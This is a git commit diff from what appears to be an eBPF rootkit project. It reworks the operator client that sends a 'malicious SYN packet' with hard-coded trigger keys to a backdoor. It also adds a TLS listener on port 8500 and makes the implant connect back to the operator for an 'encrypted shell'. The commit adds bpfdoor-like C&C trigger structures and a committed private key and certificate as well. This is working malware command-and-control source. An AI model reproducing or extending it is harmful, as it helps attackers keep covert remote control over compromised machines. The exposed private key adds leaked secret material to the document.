Completed message sharing, starting with protocol now

src/client/client.c

@@ -12,7 +12,6 @@
 
 #include "../common/constants.h"
 #include "../common/c&c.h"
-#include "../common/protocol.h"
 #include "include/sslserver.h"
 
 // For printing with colors
@@ -195,7 +194,7 @@ void activate_command_control_shell_encrypted(char* argv){
     check_ip_address_format(argv);
     printf("["KBLU"INFO"RESET"]""Crafting malicious SYN packet...\n");
     //+1 since payload must finish with null character for parameter passing, although not sent in the actual packet payload
-    char payload[CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE+1];
+    char payload[CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE+1] = {0};
     srand(time(NULL));
     for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE; ii++){
         payload[ii] = (char)rand();
@@ -203,10 +202,10 @@ void activate_command_control_shell_encrypted(char* argv){
     //Follow protocol rules
     char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
     char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
-    char key1[CC_TRIGGER_SYN_PACKET_SECTION_LEN] = CC_TRIGGER_SYN_PACKET_KEY_1;
-    char key2[CC_TRIGGER_SYN_PACKET_SECTION_LEN] = CC_TRIGGER_SYN_PACKET_KEY_2;
+    char key1[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_1;
+    char key2[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_2;
     //K3 with command to start the encrypted connection with the backdoor
-    char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN] = CC_TRIGGER_SYN_PACKET_KEY_3_ENCRYPTED_SHELL;
+    char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_3_ENCRYPTED_SHELL;
     char result[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
     strncpy(section, payload, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
     for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
@@ -238,35 +237,10 @@ void activate_command_control_shell_encrypted(char* argv){
     }else{
         printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
     }
-    printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
     
-    //Wait for rootkit ACK to ensure it's up
-    rawsocket_sniff_pattern(CC_PROT_ACK);
-    printf("["KGRN"OK"RESET"]""Success, received ACK from backdoor\n");   
+    server_run(8500);
 
-    //Received ACK, we proceed to send command
-    while(1){
-        char buf[BUFSIZ];                                                                                                                                                          
-        printf(""KYLW"c>:"RESET"");                                                                                                                                                              
-        fgets(buf, BUFSIZ, stdin);
-        if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
-            buf[strlen(buf)-1] = '\0';   
-        }                                                                                                                                                                         
     
-        char msg[BUFSIZ];
-        strcpy(msg, CC_PROT_MSG);
-        strcat(msg, buf);
-        packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, msg);
-        printf("Sending %s\n", msg);
-        if(rawsocket_send(packet)<0){
-            printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
-            return;
-        }
-        printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
-        packet = rawsocket_sniff_pattern(CC_PROT_MSG);
-        char* res = packet.payload;
-        printf("["KGRN"RESPONSE"RESET"] %s\n", res);   
-    }
     
 }
 

src/client/include/sslserver.h

@@ -1,7 +1,5 @@
 // This code is based from the following tutorial:
 // https://aticleworld.com/ssl-server-client-using-openssl-in-c/
-// gcc -Wall -o server server.c -L/usr/lib -lssl -lcrypto
-// sudo ./server <portnum>
 
 #include "openssl/err.h"
 #include "openssl/ssl.h"
@@ -19,19 +17,6 @@
 
 #define USE_FUNCTIONS 0
 
-void instructionsForPem(void) {
-  printf("\n");
-  printf("\n");
-  printf("Did you forget to create your mycert.pem file?\n");
-  printf("\n");
-  printf("Run: openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout "
-         "mycert.pem -out mycert.pem\n");
-  printf("\n");
-  printf("If you haven't, but that's my best guess of what has gone wrong..\n");
-  printf("\n");
-  printf("\n");
-}
-
 #if (USE_FUNCTIONS)
 SSL_CTX *InitServerCTX(void) {
   const SSL_METHOD *method;
@@ -155,28 +140,20 @@ void Servlet(SSL *ssl) {
 }
 #endif
 
-int server_run(int argc, char **argv) {
+int server_run(int port) {
   SSL_CTX *ctx;
   int server;
-  int portnum;
   const char *szPemPublic = "mycert.pem";
   const char *szPemPrivate = "mycert.pem";
 #if (!(USE_FUNCTIONS))
   const SSL_METHOD *method;
 #endif
 
-  if (argc != 2) {
-    printf("Usage: %s <portnum>\n", argv[0]);
-    exit(0);
-  }
-
-  portnum = atoi(argv[1]);
-
-  if (portnum < 1024) {
+  if (port < 1024) {
     if (getuid() != 0) {
       printf("This program must be run as root/sudo user since your port # "
              "(%d) is < 1024\n",
-             portnum);
+             port);
       exit(1);
     }
   }
@@ -203,14 +180,12 @@ int server_run(int argc, char **argv) {
   /* set the local certificate from CertFile */
   if (SSL_CTX_use_certificate_file(ctx, szPemPublic, SSL_FILETYPE_PEM) <= 0) {
     ERR_print_errors_fp(stderr);
-    instructionsForPem();
     abort();
   }
 
   /* set the private key from KeyFile (may be the same as CertFile) */
   if (SSL_CTX_use_PrivateKey_file(ctx, szPemPrivate, SSL_FILETYPE_PEM) <= 0) {
     ERR_print_errors_fp(stderr);
-    instructionsForPem();
     abort();
   }
 
@@ -229,7 +204,7 @@ int server_run(int argc, char **argv) {
   server = socket(PF_INET, SOCK_STREAM, 0);
   bzero(&addr, sizeof(addr));
   addr.sin_family = AF_INET;
-  addr.sin_port = htons(portnum);
+  addr.sin_port = htons(port);
   addr.sin_addr.s_addr = INADDR_ANY;
   if (bind(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
     perror("can't bind port");
@@ -252,7 +227,7 @@ int server_run(int argc, char **argv) {
 
     // this is my attempt to run HTTPS.. This is sort of the minimal header that
     // seems to work.  \r is absolutely necessary.
-    const char *szHttpServerResponse =
+    const char *response =
         "HTTP/1.1 200 OK\r\n"
         "Content-type: text/html\r\n"
         "\r\n"
@@ -266,7 +241,7 @@ int server_run(int argc, char **argv) {
         "</html>\n";
 #endif
     int client;
-
+    printf("Listening for connections\n");
     client = accept(server, (struct sockaddr *)&addr,
                     &len); /* accept connection as usual */
     printf("Connection: %s:%d\n", inet_ntoa(addr.sin_addr),
@@ -305,8 +280,8 @@ int server_run(int argc, char **argv) {
       printf("Client msg:\n[%s]\n", buf);
 
       if (bytes > 0) {
-        printf("Reply with:\n[%s]\n", szHttpServerResponse);
-        SSL_write(ssl, szHttpServerResponse, strlen(szHttpServerResponse));
+        printf("Reply with:\n[%s]\n", response);
+        SSL_write(ssl, response, strlen(response));
       } else {
         ERR_print_errors_fp(stderr);
       }

src/client/mycert.pem

@@ -0,0 +1,81 @@
+-----BEGIN PRIVATE KEY-----
+MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQCqRJQ+Fp9dchNe
+RjA3/e6ocuTGDdl9KAIl0hP3qQYXOikrJyY0IQ9Fr4HT/Z+hjM1/RFFzda+rIOIh
+6Fi9XQWmISgNkLII8e6/F2B8sgq5eJuKbP+Xa/JGbGiweDOa/S4UEm/Jmbm40Dtg
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+IWSYKuuwf4Bnb7mfJyj+f6FanOGpfSQj06h4aWaiP8PUK38ivUGfF0gPDbK01Q/x
+qqcaVqheo5KE/YUVks3xSaTLMeK9vis3i5/PY+GLL644K1c++s8sSCFgOj9gDTLy
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++QmIEPLzdZq4iYwkHgTchNsV5c24RETCAPdX7nhRlQDDBQHgyqa9VNbhV/I5ik8n
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+tEbnubxFynyutltiZ/zB2xzMuM+OEwFjOmsQpvxhAoIBACm6SMkbwymAJg8wBmoU
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+A/iGISWr4/qHcINgtY1nBHeCd0EkOQ==
+-----END PRIVATE KEY-----
+-----BEGIN CERTIFICATE-----
+MIIE+zCCAuOgAwIBAgIURgo+OnvjsvSRONRpscRzizvP+QUwDQYJKoZIhvcNAQEL
+BQAwDTELMAkGA1UEBhMCRVMwHhcNMjIwNTA2MDEwMzM4WhcNMjMwNTA2MDEwMzM4
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+gESIACorO+q0WCekd1dT+OyxdyzScFXMkgeu0P0Fmw==
+-----END CERTIFICATE-----

src/common/c&c.h

@@ -1,22 +1,31 @@
 #ifndef __BPF_CC_H
 #define __BPF_CC_H
 
-#include "protocol.h"
-
+//C&C V0
 #define CC_PROT_SYN "CC_SYN"
 #define CC_PROT_ACK "CC_ACK"
 #define CC_PROT_MSG "CC_MSG#"
 #define CC_PROT_FIN_PART "CC_FIN"
 #define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
 
-//C&C V1 -- bpv47-like trigger
+//C&C V1 -- bpv47-like trigger + encrypted shell
 #define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
 #define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4"
 #define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13"
 #define CC_TRIGGER_SYN_PACKET_KEY_3_ENCRYPTED_SHELL "\x1F\x29"
-
 #define CC_TRIGGER_SYN_PACKET_SECTION_LEN 0x02
 
+#define CC_PROT_COMMAND_ENCRYPTED_SHELL 0
+
+//C&C V2 -- Distributed hidden payload in packet stream
+struct trigger_t {
+    unsigned char xor_key;
+    unsigned int ip;
+    short unsigned int port;
+    unsigned char pad1;
+    short unsigned int pad2;
+    short unsigned int crc;
+};
 
 
 #endif

src/common/protocol.h

@@ -1,19 +0,0 @@
-#ifndef __PROTOCOL_H
-#define __PROTOCOL_H
-
-//V1
-#define CC_PROT_COMMAND_ENCRYPTED_SHELL 0
-
-//V2
-struct trigger_t {
-    unsigned char xor_key;
-    unsigned int ip;
-    short unsigned int port;
-    unsigned char pad1;
-    short unsigned int pad2;
-    short unsigned int crc;
-};
-
-
-
-#endif

src/user/include/utils/network/ssl_client.h

@@ -1,7 +1,5 @@
-// This is based from:
-// --------------------
+// This is based from the following tutorial:
 // https://aticleworld.com/ssl-server-client-using-openssl-in-c/
-// gcc -Wall -o client client.c  -L/usr/lib -lssl -lcrypto
 #include <errno.h>
 #include <malloc.h>
 #include <netdb.h>
@@ -81,31 +79,21 @@ void ShowCerts(SSL *ssl) {
 }
 #endif
 
-int clientrun(int argc, char **argv) {
+int client_run(char* hostname, uint16_t portnum) {
   SSL_CTX *ctx;
   int server;
   SSL *ssl;
   static char buf[1024 * 1024];
   int bytes;
-  char *hostname;
-  uint16_t portnum;
 #if (!(USE_FUNCTIONS))
   struct hostent *host;
   struct sockaddr_in addr;
   const SSL_METHOD *method;
 #endif
 
-  if (argc != 3) {
-    printf("usage: %s <hostname> <portnum>\n", argv[0]);
-    exit(0);
-  }
-
   // Initialize the SSL library
   SSL_library_init();
 
-  hostname = argv[1];
-  portnum = atoi(argv[2]);
-
 #if (USE_FUNCTIONS)
   ctx = InitCTX();
   server = OpenConnection(hostname, portnum);
@@ -148,8 +136,8 @@ int clientrun(int argc, char **argv) {
     X509 *cert;
     char *line;
 #endif
-    char szRequest[4096];
-    sprintf(szRequest,
+    char request[4096];
+    sprintf(request,
             "GET / HTTP/1.1\r\n"
             "User-Agent: Wget/1.17.1 (linux-gnu)\r\n"
             "Accept: */*\r\n"
@@ -159,7 +147,7 @@ int clientrun(int argc, char **argv) {
             "\r\n",
             hostname, portnum);
 
-    printf("Sending:\n[%s]\n", szRequest);
+    printf("Sending:\n[%s]\n", request);
 
     printf("\n\nConnected with %s encryption\n", SSL_get_cipher(ssl));
 
@@ -181,7 +169,7 @@ int clientrun(int argc, char **argv) {
     }
 #endif
 
-    SSL_write(ssl, szRequest, strlen(szRequest)); /* encrypt & send message */
+    SSL_write(ssl, request, strlen(request)); /* encrypt & send message */
 
     bytes = SSL_read(ssl, buf, sizeof(buf)); /* get reply & decrypt */
     buf[bytes] = 0;

src/user/kit.c

@@ -109,8 +109,9 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
 		printf("%s COMMAND  pid:%d code:%i\n", ts, e->pid, e->code);
 		switch(e->code){
 			case CC_PROT_COMMAND_ENCRYPTED_SHELL:
+			//TODO EXTRACT IP FROM KERNEL BUFFER
 				printf("Starting encrypted connection\n");
-				
+				client_run("127.0.1.1", 8500);
             	break;
 			default:
 				printf("Command received unknown: %d\n", e->code);